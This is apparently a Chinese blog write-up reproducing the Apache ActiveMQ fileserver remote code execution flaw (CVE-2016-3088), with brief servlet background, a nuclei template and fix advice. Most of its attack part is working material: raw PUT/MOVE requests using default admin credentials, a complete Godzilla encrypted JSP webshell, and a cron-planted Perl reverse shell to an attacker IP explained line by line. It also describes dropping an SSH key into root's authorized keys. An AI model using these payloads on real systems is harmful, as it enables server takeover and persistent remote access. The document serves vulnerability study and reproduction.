Apache ActiveMQ 远程代码执行漏洞分析 (CVE-2016-3088) 0x01 产品简介 ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
servlet 容器 Servlet 接口规定请求从容器到达 web 服务端的规范,最重要的三个步骤是:
init():初始化请求的时候要做什么;
service():拿到请求的时候要做什么;
destory():处理完请求销毁的时候要做什么。
所有实现 Servlet 的实现方都是在这个规范的基础上进行开发。那么 Servlet 中的数据是从哪里来的呢?答案就是 Servlet 容器 。容器才是真正与客户端打交道的那一方。
Servlet容器只有一个,而 Servlet 可以有多个。
常见的Servlet容器Tomcat, 它监听了客户端的请求端口, 根据请求行信息确定将请求交给哪个Servlet 处理,找到处理的Servlet之后,调用该Servlet的 service() 方法,处理完毕将对应的处理结果包装成ServletResponse 对象返回给客户端。
0x02 漏洞描述 2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代 Web 应用,在受影响系统上执行远程代码(CVE-2016-3088)。
0x03 影响版本 Apache ActiveMQ 5.0.0 – 5.13.2 ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用 5.14.0版本以后,彻底删除fileserver
0x04 搜索语法 FOFA
0x05 漏洞复现与分析 系统登录界面
函数调用链
protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
->private File locateFile(HttpServletRequest request)
protected void doMove(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException 并未对路径进行检查
法一 上传webshell 条件:
知道账号,密码,呈登录状态(Activemq 的默认账密:admin admin)
知道绝对路径
攻击链:
通过 http://your-ip:8161/admin/test/systemProperties.jsp 页面获取绝对路径activemq.home
通过PUT方法上传 webshell到/fileserver文件夹下(webshell通过Gozilla等生成)(数据包中应含有Authorization: Basic YWRtaW46YWRtaW4=)
通过MOVE方法将上传后的文件 /fileserver/4.jsp 移动到file:///opt/activemq /webapps/admin/4.jsp(admin || api 才具有执行权限)(可对文件进行重命名)
通过工具连接webshell,执行其他操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 PUT /fileserver/4.jsp HTTP/1.1 Host : 127.0.0.1:8161Authorization : Basic YWRtaW46YWRtaW4=Accept : */*Accept-Language : enUser-Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection : closeContent-Length : 2619<%! String xc="3c6e0b8a9c15224a" ; String pass="pass" ; String md5=md5(pass+xc); class X extends ClassLoader {public X(ClassLoader z){super (z);}public Class Q(byte[] cb){return super .defineClass(cb, 0 , cb.length);} }public byte[] x(byte[] s,boolean m){ try {javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES" );c.init(m?1 :2 ,new javax .crypto.spec.SecretKeySpec(xc.getBytes(),"AES" ));return c.doFinal(s); }catch (Exception e){return null ; }} public static String md5(String s) {String ret = null ;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5" );m.update(s.getBytes(), 0 , s.length());ret = new java .math.BigInteger(1 , m.digest()).toString(16 ).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null ;try {base64=Class.forName("java.util.Base64" );Object Encoder = base64.getMethod("getEncoder" , null ).invoke(base64, null );value = (String )Encoder.getClass().getMethod("encodeToString" , new Class [] { byte[].class }).invoke (Encoder , new Object [] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder" ); Object Encoder = base64.new Instance (); value = (String )Encoder.getClass().getMethod("encode" , n ew Class[] { byte[].class }).invoke (Encoder , new Object [] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null ;try {base64=Class.forName("java.util.Base64" );Object decoder = base64.getMethod("getDecoder" , null ).invoke(base64, null );value = (byte[])decoder.getClass().getMethod("decode" , new Class [] { String .class }).invoke (decoder , new Object [] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder" ); Object decoder = base64.new Instance (); value = (byte[])decoder.getClass().getMethod("decodeBuffer" , new Class [] { String .class }).invoke (decoder , new Object [] { bs });} catch (Exception e2) {}}return value; }%><%try {byte[] data=base64Decode(request.getParameter(pass));data=x(data, false );if (session.getAttribute("payload" )==null ){session.setAttribute("payload" ,new X (this .getClass().getClassLoader()).Q(data));}else {request.setAttribute("parameters" ,data);java.io.ByteArrayOutputStream arrOut=new java .io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload" )).new Instance ();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0 ,16 ));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true )));response.getWriter().write(md5.substring(16 ));} }catch (Exception e){} %>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 MOVE /fileserver/4.jsp HTTP/1.1 Destination : file:///opt/activemq/webapps/admin/4 .jspAuthorization : Basic YWRtaW46YWRtaW4=Host : localhost:8161 Accept : */*Accept -Language: enUser -Agent: Mozilla/5 .0 (compatible; MSIE 9 .0 ; Windows NT 6 .1 ; Win64; x64; Trident/5 .0 )Connection : closeContent -Length: 0
注意需要管理员权限。ActiveMQ默认为:Admin Admin
Godzilla
nuclei的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 id: CVE-2016-3088 info: name: Apache ActiveMQ Fileserver - Arbitrary File Write author: fq_hsu severity: critical description: Apache ActiveMQ 5. x before 5.14 .0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request via the Fileserver web application. impact: | An attacker can write arbitrary files on the server, potentially leading to remote code execution. remediation: | Upgrade to Apache ActiveMQ version 5.14.0 or later to fix the vulnerability. reference: - https://www.exploit-db.com/exploits/40857 - https://medium.com/@knownsec404team/analysis-of-apache-activemq-remote-code-execution-vulnerability-cve-2016-3088-575f80924f30 - http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt - https://nvd.nist.gov/vuln/detail/CVE-2016-3088 - http://rhn.redhat.com/errata/RHSA-2016-2036.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-3088 cwe-id: CWE-20 epss-score: 0.83955 epss-percentile: 0.98478 cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: apache product: activemq shodan-query: - cpe:"cpe:2.3:a:apache:activemq" - product:"activemq openwire transport" tags: cve2016,cve,fileupload,kev,edb,apache,activemq,intrusive variables: rand1: '{{rand_int(11111111, 99999999)}} ' http: - raw: - | PUT /fileserver/{{randstr}}.txt HTTP/1.1 Host: {{Hostname}} {{rand1 }} - | GET /fileserver/{{randstr}}.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - "status_code_1==204" - "status_code_2==200" - "contains((body_2), '{{rand1}} ')" condition: and
法二:crontab文件——反弹shell 条件:
需要运行 ActiveMQ 的用户有 root 权限
服务器开启了 cron 服务
运行 ActiveMQ 的用户有使用 crontab 的权限
攻击链:
检验是否满足以上三个条件,若满足
上传shell 至/fileserver文件夹下
移动shell 至/etc/cron.d/文件夹下
在控制端(服务器)nc -l -p 端口号,等待一段时间,获得shell(在此,由于上传的文件内容规定一分钟一执行,所以等待时间在1min以内)
反弹shell
就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
cron
https://www.cnblogs.com/GuoYuying/p/14757419.html
linux中用于执行重复任务的服务器,管理员可在/ etc/crontab中编辑自己的crontab.
poc
1 2 3 4 5 6 7 8 9 PUT /fileserver/1.txt HTTP/1.1 Host : localhost:8161Accept : */*Accept-Language : enUser-Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection : closeContent-Length : 248*/1 * * * * root /usr/bin/perl -e 'use Socket;$i ="your-ip" ;$p =21 ;socket (S,PF_INET,SOCK_STREAM,getprotobyname("tcp" ));if (connect(S,sockaddr_in($p ,inet_aton($i )))){open (STDIN,">&S" );open (STDOUT,">&S" );open (STDERR,">&S" );exec ("/bin/sh -i" );};'
注解
1 2 3 4 5 6 7 8 9 10 */1 * * * * root /usr/bin/perl -e 'use Socket; $i="10.0.0.1"; $p=21; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))) {open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
*/1 * * * * root ...:这是一个cron任务,配置为每分钟运行一次。
*/1: 在每分钟的第0秒执行。
这里的*/1表示每1分钟执行一次,也可以简单写成*,同样表示每分钟执行一次。
root : 任务由 root 用户执行,具有最高的系统权限。
/usr/bin/perl -e : 使用 Perl 解释器的 -e 选项来执行一段直接嵌入命令行的 Perl 代码。
use Socket; 是一段 Perl 代码的开头,用于引入 Perl 的 Socket 模块。这个模块提供了在 Perl 中处理低级别网络通信的功能,允许脚本进行各种网络操作,例如创建套接字(socket)、连接到远程主机、发送和接收数据等。
$i="10.0.0.1";$p=21;:指定了要连接的IP地址和端口。
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
socket(S, ...);:
socket 是一个函数,用于创建一个新的套接字(socket)。套接字是网络通信的端点 ,允许数据在两个程序之间传输。
S 是套接字的文件句柄,后续代码可以通过这个句柄引用该套接字。
PF_INET:
PF_INET 表示套接字使用 IPv4 协议。PF 代表“协议族”(Protocol Family),而 INET 则是“Internet Protocol v4”(IPv4)的缩写。
通过指定 PF_INET,你告诉 socket 函数这是一个基于 IPv4 地址的网络套接字。
SOCK_STREAM:
SOCK_STREAM 表示这是一个流式套接字,它使用 TCP 协议进行数据传输。流式套接字提供了一种可靠的、面向连接的通信方式,数据可以按顺序传输。
TCP(Transmission Control Protocol)确保了数据的完整性和顺序性。
getprotobyname("tcp"):
getprotobyname("tcp") 函数返回 TCP 协议的协议号,socket 函数需要知道该套接字将使用的具体协议。
通过传入 "tcp",getprotobyname 返回与 TCP 协议相关联的协议号,通常是 6。
connect(S,sockaddr_in($p,inet_aton($i))):尝试连接到指定IP和端口。
inet_aton 是一个函数,用于将点分十进制格式的 IP 地址(例如 “192.168.1.1”)转换为网络字节序(binary format)。该函数返回一个 32 位的整数,这就是 IP 地址的二进制表示形式。
sockaddr_in 函数将端口号 $p 和 IP 地址(通过 inet_aton($i) 转换后的二进制格式)组合在一起,生成一个套接字地址结构(sockaddr_in 类型的结构体),这个结构体可以传递给 connect 函数,用于建立连接。
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");
用于创建一个反向Shell连接。它将标准输入、标准输出和标准错误重定向到已经建立的网络连接(套接字 S),然后在远程主机上启动一个交互式的 shell(通常是 /bin/sh)
-i 选项意味着这个 shell 是交互式的,这使得攻击者能够实时输入命令并接收输出。
这个命令使用 netcat(缩写为 nc)监听21端口的传入连接。虽然21端口通常用于FTP,但在这里被用于反向Shell。
Listen Mode:
当使用 -l 选项时,netcat 会进入监听模式,等待来自远程主机的连接请求。
这个选项让 nc 类似于服务器的行为,监听一个指定的端口,直到有客户端(比如另一台机器上的 nc 实例)发起连接。
法三:ssh 公钥 SSH 的全称为 Secure Shell 即安全外壳协议,是一种加密的网络传输协议。它能够在公开的网络环境中提供安全的数据传输环境,通常用于登录远程主机与推拉代码。
条件:
服务端开启ssh服务(nmap -sV ip -p-探测)
需要运行 ActiveMQ 的用户有 root 权限
攻击链:
上传 ssh公钥到 /fileserver目录下 (ssh公钥的生成 ssh-keygen -t rsa 生成到指定文件中)
移动到/root/.ssh/ 目录下
主机通过 ssh 目标主机ip获得shell
如上没有开启,但为了练习使用,我们打开ssh服务。详细内容请看下回分解
0x06 修复建议
升级到最新版本
关闭fileserver这个应用
0x07 思考 你以为的高山不过是平原,战略上蔑视,战术上重视。
前前后后搞了8h,学到了
webshell获得权限、crontab反弹shell获取权限、ssh连接获取权限
漏洞复现的要素:poc、函数调用链、条件、攻击链、批量自动化(这一步还需加强)
虽然是一个比较老的漏洞,但是收益良多。:star: